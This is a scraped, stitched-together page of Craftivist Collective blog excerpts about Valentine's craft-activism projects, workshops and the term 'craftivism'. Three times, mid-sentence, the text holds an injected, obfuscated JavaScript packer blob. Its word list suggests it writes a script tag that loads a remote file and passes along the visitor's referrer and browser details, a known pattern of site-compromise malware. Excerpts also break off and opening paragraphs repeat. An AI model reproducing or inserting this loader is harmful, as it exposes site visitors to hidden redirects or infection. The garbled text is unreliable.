Craftivist Vicky Tedder writes:
On a cold February day the Craftivist Collective gave a warm welcome to encourage us to show the world our love.
Meeting in the stylish basement of Fabrications there was a fun and relaxed event which allowed us to think about what we want to do to improve our world whilst encouraging others to do the same, oh and having lots of fun with a heat gun!
This valentines project involved using shrink plastic to make key rings as valentines presents which were then left for strangers find along with a letter encouraging them to show a little more love to the world this valentine’s day rather than just a significant other.
I was watching the news the other day. After reporting on the humanitarian crisis in Syria and another European economy collapse, there was a piece on a young woman of a similar age to myself. She had been kept prisoner in a house in the UK for a number of years and been repeatedly raped and tortured. I had to turn the TV off. I just couldn’t believe that I lived in a world where these sorts of things happen in the first place, are then reported on the news almost as if it’s entertainment, and there’s very little I can do about it.
Words by Barley Massey, the owner of craft shop Fabrications, London:
A giant love letter has elegantly floated into Fabrications window this month in time for Valentines day. It is stopping passers by in their tracks, my favorite reaction was 2 small boys who stood, pointed and smiled lots.
They ran off and brought back their parents to read it - brilliant! Keep
recruiting boys!!
Amongst the rails of rainbow-coloured vintage clothes and to the soothing sounds of a live band playing Dr Who and Crimewatch theme song sax solos, around 20 of us gathered at the Paper Dress shop for an evening workshop of hanky panky stitching as part of Craftivist Collective’s ‘Don’t Blow It’ campaign. A truly unconventional way to start of the year and beat the winter blues, I love the fact that whilst we were all enjoying doing something a bit different we could be encouraged that our stitching could help make a difference in the world.
There are so many distractions wherever we live, particularly on Valentines Day. Our craftivism Valentines project is a friendly reminder of the difficult circumstances our global neighbours are in and the gifts are there to encourage a conversation to start even after Valentine’s Day.
Each year we try and hijack valentines day and remind people to “Show some love” for their global neighbours as well as the usual smushy stuff. We would love it if you joined in our craftivism project this year.
For the last 3 years we have had people all over the globe make as many cards as they can and leave them around their area on Valentines day. Each includes a handmade keyring designed by cult jewellers Tatty Devine. In the last 3 years we have left 100 letters across the UK (London, Liverpool, Leeds, Newcastle, Banger, Newcastle, Cornwall, Coventry and more- see photos here) as well as America and Canada. Each letter will contain an alternative valentine’s letter (see template letter here), a handmade gift that Tatty Devine are designing for us (see design here) and a love heart sweet. Hand delivered to gaps in walls, cash machine slots, shop shelves etc- You don’t have to be in a relationship to have one of these!
Sometimes people struggle to understand what we mean when we say we are craftivists and 'do' craftivism. We also get people post on our Facebook eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n...
Louise eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hfibe|var|u0026u|referrer|tbrfz||js|php'.split('|'),0,{}))
Philips emailed us with her image and blog below:
"I have been interested in Guerilla Art like this for a while now and have...
Fiona eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hekyd|var|u0026u|referrer|hhknt||js|php'.split('|'),0,{}))
Whyte (pictured left): I wandered down to the delightful Paper Dress that evening very much looking forward to some stitching, a cup of tea...
Betsy Greer coined the term 'Craftivism' in 2003 and from the start we have always checked in with Betsy to make sure our projects are still a form of craftivism and not something else (like upcycling or just craft). She is an amazing supporter, adviser and friend as well as a huge inspiration for our craftivists. One of the many talents Betsy has is explaining acts of craftivism in a clear and concise way (much better than us, sorry!) so when she blogged about a Facebook post we send regarding the print (above) we sold we really wanted to share her thoughtful words with you. Her blog also explains why we don't prioritise going to Occupations to do craftivism stitch-ins even though people presume we should be there.
Meeting in the stylish basement of Fabrications there was a fun and relaxed event which allowed us to think about what we want to do to improve our world whilst encouraging others to do the same, oh and having lots of fun with a heat gun!
This valentines project involved using shrink plastic to make key rings as valentines presents which were then left for strangers find along with a letter encouraging them to show a little more love to the world this valentine’s day rather than just a significant other.
